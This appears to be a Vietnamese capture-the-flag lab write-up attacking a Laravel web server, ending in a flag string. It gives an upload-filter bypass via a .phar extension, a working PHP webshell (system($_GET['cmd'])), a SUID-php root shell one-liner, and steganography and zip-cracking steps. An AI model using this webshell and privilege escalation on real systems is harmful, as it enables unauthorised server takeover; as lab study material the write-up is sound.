Professional Documents
Culture Documents
Có thông tin từ trang “index.php” về phiên bản của Framework được sử dụng:
Laravel v8.73.2 (PHP v7.4.30)
Sử dụng “Dirsearch” để tìm kiếm các path ẩn:
Sau khi kiểm tra các file như “robots.txt” hay “web.config” không có gì đáng lưu ý.
Chúng ta kiểm tra đến đường dẫn upload:
Sử dụng console của Chrome Developer Tool, tắt tính năng chạy Javascript:
Vì server sử dụng php, ta upload một đoạn mã php để kiểm tra phpinfo:
<?php phpinfo(); ?>
Kết quả thu được:
Server trả ra lỗi, điều này có nghĩa là chỉ được upload những định dạng ảnh hoặc gif, vậy
làm sao có thể upload được webshell php? Ta cùng nhớ về 1 trong những lỗ hổng nổi
tiếng nhất của PHP năm 2018: phar deserialization. Vậy ta thử đổi extension của file vừa
up sang .phar và thử lại:
Điều này cho thấy đoạn code php của chúng ta đã được thực thi bởi phía server.Giờ thì,
thực hiện việc upload webshell: <?php system($_GET['cmd']); ?>
Và kết quả thu được:
Sau một hồi mày mò, chúng ta biết được trên server có netcat:
Nhận thấy php suid root, sử dụng GTFObins để tìm câu lệnh khai thác.
CMD="/bin/sh"
php -r "pcntl_exec('/bin/sh', ['-p']);"
Nhận thấy JFIF là header của file jpg. Ta thực hiện việc mã hóa content ảnh dưới dạng
base64:
a=$(php -r 'readfile(getenv("LFILE"));'|base64)
echo $a
(hoặc có thể dùng lệnh base64 root.txt > image ở đây cũng có thể get về bằng cách đưa ra
thư mục public rồi tải về)
Stegcracker
Sử dụng stegcracker để tìm passphrase
Ta đã được : freedom
Tiếp tục extract file ,tìm được 1 file data.zip
Fcrackzip
Tiến hành crack tiếp :D
FLAG: Lab2{_c0ngr4tul4t0n_y0u_4r3_1s_th3_b3st_}